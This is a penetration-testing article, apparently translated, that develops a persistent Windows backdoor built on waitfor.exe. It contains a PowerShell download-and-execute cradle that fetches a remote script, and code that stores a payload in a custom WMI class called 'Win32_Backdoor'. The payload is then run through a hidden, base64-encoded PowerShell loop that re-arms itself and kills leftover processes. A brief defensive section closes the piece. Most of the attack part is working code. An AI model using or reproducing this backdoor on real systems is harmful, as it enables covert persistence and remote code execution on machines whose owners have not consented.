0x00 Preface

---

An idea obtained from Casey Smith‏@subTee's Twitter suggests that Waitfor.exe could potentially be used to implement a backdoor mechanism.

Therefore, I conducted further research on it and developed a proof-of-concept (POC) for backdoor exploitation using PowerShell.

This article will introduce the exploitation techniques of Waitfor.exe in penetration testing and share the ideas and details of developing the POC.

The complete POC download link is as follows:

An open-source project

0x01 Introduction

---

This article will specifically cover the following:

  • Introduction to Waitfor.exe
  • Exploitation ideas
  • POC details

0x02 Introduction to Waitfor.exe

---

Used to synchronize computers in a network, can send or wait for signals on the system

Supported systems:

  • Windows Server 2003
  • Windows Vista
  • Windows XP
  • Windows Server 2008
  • Windows 7
  • Windows Server 2003 with SP2
  • Windows Server 2003 R2
  • Windows Server 2008 R2
  • Windows Server 2000
  • Windows Server 2012
  • Windows Server 2003 with SP1
  • Windows 8
  • Windows 10
  • Other Server systems not tested, theoretically supported

Located in the System32 folder, started via command line

Supported parameters as shown in the figure below

Alt text

Specific details are as follows:

/s : Specifies the name or IP address of the destination computer to send to (backslashes cannot be used). If this parameter is omitted, the signal will be broadcast within the domain.

/u [\]: Runs the script with the credentials of the specified user account. If this parameter is omitted, the current user's credentials are used.

/p []: User password

/si: Indicates sending a signal for activation. If this parameter is omitted, it means waiting to receive a signal.

/t : Specifies the number of seconds to wait for the signal. If this parameter is omitted, it waits indefinitely.

: Specified signal name, case-insensitive, length cannot exceed 225 characters

Note:

Computers can only receive signals if they are in the same domain as the computer sending the signal.

That is, only hosts on the same network segment can receive signals.

Primary Purpose:

Execute commands simultaneously on hosts within the same network segment

Test Example:

Enable waiting mode:

cmd:

waitfor signalcalc && calc.exe

Parameter Description:

  • Signal Name: signalcalc
  • Action after receiving signal: calc.exe, i.e., launch calculator

At this point, the waitfor.exe process exists in the background

Send Signal:

cmd:

waitfor /s 127.0.0.1 /si signalcalc

Parameter Description:

  • Target Computer: 127.0.0.1 (for local testing), replace with host IP for domain use
  • /si indicates sending a signal
  • Signal name: signalcalc

Detailed operation as shown in the figure below

Alt text

Note:

For more basic introduction, please refer to the official Microsoft documentation, link as follows:

https://technet.microsoft.com/en-us/library/cc731613(v=ws.11).aspx

0x03 Exploitation Approach

---

Based on the above basic introduction, the most intuitive understanding is that waitfor can be used as a backdoor

Daniel Bohannon‏ @danielhbohannon shared his exploitation approach on Twitter: setting the operation after waitfor receives a signal to download and execute PowerShell code from a remote server

Address as follows:

https://twitter.com/danielhbohannon/status/872258924078092288

Details as shown in the figure below

Alt text

Additionally, he mentioned an interesting technique: if PowerShell code is set to execute with a delay, then after receiving the signal, there will be no waitfor.exe process running in the background.

I verified this conclusion using the following method:

Enable waiting mode:

cmd:

waitfor test1 && && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.某开源项目.ps1')

Send signal:

cmd:

waitfor /s 127.0.0.1 /si test1

The content of https://raw.githubusercontent.某开源项目.ps1 is as follows:

Start-Sleep -Seconds 10;
start-process calc.exe;

After successfully receiving the signal, the waitfor.exe process exits.

Then execute the PowerShell script, wait for 10 seconds before starting calc.exe.

During these 10 seconds, only the powershell.exe process exists.

In other words, if the waiting time is set longer, there will be no waitfor.exe process during that waiting period, reminding defenders to pay attention to this detail.

0x04 POC Details

---

If used as a backdoor, the above exploitation method is not yet mature

Because after triggering once, the process waitfor.exe will exit, making the backdoor non-reusable

It is necessary to start a waiting mode again to trigger the backdoor once more

Of course, a waiting mode can be manually started after each backdoor trigger

But this is not intelligent enough. Can a script be used to automatically start the waiting mode, making it a sustainable backdoor?

For this purpose, I wrote the following POC

Idea 1:

Save a PowerShell script named 1.ps1 on the target system

The content of 1.ps1 is as follows:

start-process calc.exe
cmd /c waitfor persist && powershell -executionpolicy bypass -file c:\test\1.ps1

Note:

The escape character & in PowerShell must be represented as `&

Enable waiting mode:

cmd:

waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1

Send signal:

cmd:

waitfor /s 127.0.0.1 /si persist1

Approach 2:

Do not save files on the target system

Here we use a technique previously introduced in 'WMI backdoor' to store the payload in a WMI class for reading and usage

Store payload:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe")
$StaticClass.Put()

Read payload:

([WmiClass] 'Win32_Backdoor').Properties['Code'].Value

The above operations are shown in the figure below

Alt text

Execute payload:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Note:

Using Invoke-Expression to execute commands is also possible; using iex is to shorten the length

Combined with the parameter format of waitfor, here we choose to encode the code as base64

Base64 encode the code for executing the payload, the following code is saved in code.txt:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Base64 encode it, the code is as follows:

$code = Get-Content -Path code.txt
$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded

The base64 encrypted code is as follows:

JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

The above operation is shown in the figure below

Alt text

Testing base64 encrypted code:

powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

Code executed successfully, as shown in the figure below

Alt text

Based on the above approach, the POC is as follows:

Backdoor code:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& waitfor persist ```&```& powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put()

Note:

There are two layers of escape characters

`` is used to represent `

Installation code:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Activation command:

waitfor /s 127.0.0.1 /si persist

Actual test as shown in the figure below

Alt text

There is a bug causing powershell.exe to fail to exit properly, leaving the process lingering in the background

Therefore, a piece of code needs to be added to terminate the process powershell.exe

Note:

Based on the logical relationship, the code to terminate powershell.exe should be written before powershell -nop -W Hidden -E ...

Finally, the complete POC code is as follows:

Backdoor code:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

Activation command:

waitfor /s 127.0.0.1 /si persist

Complete demonstration as shown in the figure below

Alt text

No residual process issues exist

0x05 Defense

---

Pay attention to the background process waitfor.exe

For suspicious background processes cmd.exe and powershell.exe, you can use Process Explorer to view their startup parameters, as shown in the figure below

Alt text

You can also read the historical echo content from the above processes. Reference materials are as follows:

http://jblog.javelin-networks.com/blog/cli-powershell/

0x06 Summary

---

This article introduces the implementation approach of the Waitfor.exe backdoor, and there may be more exploitation techniques